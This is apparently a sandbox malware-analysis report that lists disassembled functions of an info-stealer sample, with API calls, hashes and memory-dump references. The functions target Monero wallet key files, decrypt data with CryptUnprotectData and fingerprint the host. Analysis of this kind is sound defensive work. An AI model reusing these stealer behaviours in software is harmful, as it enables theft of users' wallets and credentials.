Associated: 00000001.00000002.2412532981.000000000107E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000011FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001316000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412762344.0000000001317000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412864520.00000000014B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412879638.00000000014B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e20000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: e5daec2a7b04abd5e4144db3716abd751fffb8c0975fe9295171e55c02a2e54f
Instruction ID: eb4f02679eccaa758f8c811b2348346042ac50b7e007e2cf6de9b06cd648a268
Opcode Fuzzy Hash: e5daec2a7b04abd5e4144db3716abd751fffb8c0975fe9295171e55c02a2e54f
Instruction Fuzzy Hash: 4C517EB1A00218EBDB20DF50EC49BEE77B8FB44305F1091A8F646B7190DB796A85CF95

Function 00E37B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00E3A740: lstrcpy.KERNEL32(00E40E17,00000000), ref: 00E3A788

GetKeyboardLayoutList.USER32(00000000,00000000,00E405AF), ref: 00E37BE1
LocalAlloc.KERNEL32(00000040,?), ref: 00E37BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 00E37C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00E37C62
LocalFree.KERNEL32(00000000), ref: 00E37D22

Strings

/ , xrefs: 00E37C7F

Memory Dump Source

Source File: 00000001.00000002.2412199303.0000000000E21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000001.00000002.2412186629.0000000000E20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.000000000107E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000011FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001316000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412762344.0000000001317000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412864520.00000000014B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412879638.00000000014B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e20000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 6d8be36839c605a1a4c5edbf6d12f0d1aa3c5bb1524db95205ad1741f8de2b15
Instruction ID: b38c009a5bd61397ffe6aa73f26f9517b8f60244fe7044277092a9d08d8a30b2
Opcode Fuzzy Hash: 6d8be36839c605a1a4c5edbf6d12f0d1aa3c5bb1524db95205ad1741f8de2b15
Instruction Fuzzy Hash: CB413A71940218ABDB24DB94DC9DBEEBBB4FB48700F205199E14972181DB342F85CFA1

Function 00E2E430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00E3A740: lstrcpy.KERNEL32(00E40E17,00000000), ref: 00E3A788

Part of subcall function 00E3A920: lstrcpy.KERNEL32(00000000,?), ref: 00E3A972
Part of subcall function 00E3A920: lstrcat.KERNEL32(00000000), ref: 00E3A982

Part of subcall function 00E3A9B0: lstrlen.KERNEL32(?,018099D8,?,\Monero\wallet.keys,00E40E17), ref: 00E3A9C5
Part of subcall function 00E3A9B0: lstrcpy.KERNEL32(00000000), ref: 00E3AA04
Part of subcall function 00E3A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00E3AA12

Part of subcall function 00E3A8A0: lstrcpy.KERNEL32(?,00E40E17), ref: 00E3A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00E40D73), ref: 00E2E4A2
StrCmpCA.SHLWAPI(?,00E414F8), ref: 00E2E4F2
StrCmpCA.SHLWAPI(?,00E414FC), ref: 00E2E508
FindNextFileA.KERNEL32(000000FF,?), ref: 00E2EBDF

Strings

\*.*, xrefs: 00E2E44D

Memory Dump Source

Source File: 00000001.00000002.2412199303.0000000000E21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000001.00000002.2412186629.0000000000E20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.000000000107E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000011FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001316000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412762344.0000000001317000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412864520.00000000014B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412879638.00000000014B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e20000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: e50df9bebfa827dcfb7eaf3db58c6973d5c024fab0cd7efdfe62beef0c0ba364
Instruction ID: acf5e6499ab20a62d9184dba949a1f26f8ec5ec68466625b0ffdf249e98e8b22
Opcode Fuzzy Hash: e50df9bebfa827dcfb7eaf3db58c6973d5c024fab0cd7efdfe62beef0c0ba364
Instruction Fuzzy Hash: BE126532910118AADB18FB60DC9EEED77B8AF54300F4451F9B54A72191EE346FC9CB92

Function 00E39600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00E3961E
Process32First.KERNEL32(00E40ACA,00000128), ref: 00E39632
Process32Next.KERNEL32(00E40ACA,00000128), ref: 00E39647
StrCmpCA.SHLWAPI(?,00000000), ref: 00E3965C
CloseHandle.KERNEL32(00E40ACA), ref: 00E3967A

Memory Dump Source

Source File: 00000001.00000002.2412199303.0000000000E21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000001.00000002.2412186629.0000000000E20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.000000000107E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000011FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001316000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412762344.0000000001317000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412864520.00000000014B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412879638.00000000014B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e20000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 50a319423651f3ecdcc53706f5c364b31ca28c51daad3a23cdec3865882a3ed9
Instruction ID: 79ab6df1d0dcc5acf6daa8825eabe2d005297f25affc8f7e2669b543e007a352
Opcode Fuzzy Hash: 50a319423651f3ecdcc53706f5c364b31ca28c51daad3a23cdec3865882a3ed9
Instruction Fuzzy Hash: C7010C75A01208EFCB24EFA5C949BEDBBF8FB48300F104188E94AA7251D779AB44DF50

Function 00E38680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 00E3A740: lstrcpy.KERNEL32(00E40E17,00000000), ref: 00E3A788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00E405B7), ref: 00E386CA
Process32First.KERNEL32(?,00000128), ref: 00E386DE
Process32Next.KERNEL32(?,00000128), ref: 00E386F3

Part of subcall function 00E3A9B0: lstrlen.KERNEL32(?,018099D8,?,\Monero\wallet.keys,00E40E17), ref: 00E3A9C5
Part of subcall function 00E3A9B0: lstrcpy.KERNEL32(00000000), ref: 00E3AA04
Part of subcall function 00E3A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00E3AA12

Part of subcall function 00E3A8A0: lstrcpy.KERNEL32(?,00E40E17), ref: 00E3A905

CloseHandle.KERNEL32(?), ref: 00E38761

Memory Dump Source

Source File: 00000001.00000002.2412199303.0000000000E21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000001.00000002.2412186629.0000000000E20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.000000000107E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000011FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001316000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412762344.0000000001317000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412864520.00000000014B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412879638.00000000014B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e20000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: 509c9e9099747b4f38356ea24d0881d65c6458a96703365d86fb35b356ba03cc
Instruction ID: 1f8b70e4795873e8f4932c1bb409f565ee7a464dfa2fd9149e1115084c93660b
Opcode Fuzzy Hash: 509c9e9099747b4f38356ea24d0881d65c6458a96703365d86fb35b356ba03cc
Instruction Fuzzy Hash: 41314F71901218EBCB24EF54DD49FEEBBB8EB45700F1051A9F10AB2190DB346A85CFA1

Function 00E37A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,0180F130,00000000,?,00E40E10,00000000,?,00000000,00000000), ref: 00E37A63
RtlAllocateHeap.NTDLL(00000000), ref: 00E37A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,0180F130,00000000,?,00E40E10,00000000,?,00000000,00000000,?), ref: 00E37A7D
wsprintfA.USER32 ref: 00E37AB7

Memory Dump Source

Source File: 00000001.00000002.2412199303.0000000000E21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000001.00000002.2412186629.0000000000E20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.000000000107E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000011FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001316000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412762344.0000000001317000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412864520.00000000014B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412879638.00000000014B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e20000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: fe4dfed5bde3e9a99ae5280860017987d8c565b26cd6f6defd1cf850a1834c61
Instruction ID: 8fe3723b80176e50bd1f3972b3febc44d4612ee0291fc98d2c9aba75d91fcf96
Opcode Fuzzy Hash: fe4dfed5bde3e9a99ae5280860017987d8c565b26cd6f6defd1cf850a1834c61
Instruction Fuzzy Hash: 9E115EB1A45218EFEB209B54DC49FA9BB78FB44721F10439AE91AA32C0D7795E40CF51

Function 00E29B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00E29B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 00E29BA3
LocalFree.KERNEL32(?), ref: 00E29BD3

Memory Dump Source

Source File: 00000001.00000002.2412199303.0000000000E21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000001.00000002.2412186629.0000000000E20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.000000000107E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000011FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001316000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412762344.0000000001317000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412864520.00000000014B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412879638.00000000014B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e20000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: 21b718bb1b0a3e88768a6d24ba1b9a8fb8f2c6186d7b1c7c754be3a8e208df99
Instruction ID: 5f1a616ebe3d2976bbe02b5bdaa4bbb894e090b1991866fdebf1c45fcc809b8e
Opcode Fuzzy Hash: 21b718bb1b0a3e88768a6d24ba1b9a8fb8f2c6186d7b1c7c754be3a8e208df99
Instruction Fuzzy Hash: CD11C9B8A00209EFDB04DF94D989AAE77B5FF88304F1045A8E915A7354D775AE10CFA1

Function 00E378E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00E37910
RtlAllocateHeap.NTDLL(00000000), ref: 00E37917
GetComputerNameA.KERNEL32(?,00000104), ref: 00E3792F

Memory Dump Source

Source File: 00000001.00000002.2412199303.0000000000E21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000001.00000002.2412186629.0000000000E20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.000000000107E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000011FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001316000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412762344.0000000001317000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412864520.00000000014B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412879638.00000000014B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e20000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 0759f11ae5fa6bde69e8051921d604202aab98f3270a885ca7c57f0b77b55fa1
Instruction ID: 88aa03b10a044997a767d4a8d462ba8dd756df2b7d308d2daf3e1db364040847
Opcode Fuzzy Hash: 0759f11ae5fa6bde69e8051921d604202aab98f3270a885ca7c57f0b77b55fa1
Instruction Fuzzy Hash: 170186B1A08204EFC750DF94D949BAABBB8F744B21F104219FA85F7280C3795900CBA1

Function 00E37850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00E211B7), ref: 00E37880
RtlAllocateHeap.NTDLL(00000000), ref: 00E37887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 00E3789F

Memory Dump Source

Source File: 00000001.00000002.2412199303.0000000000E21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

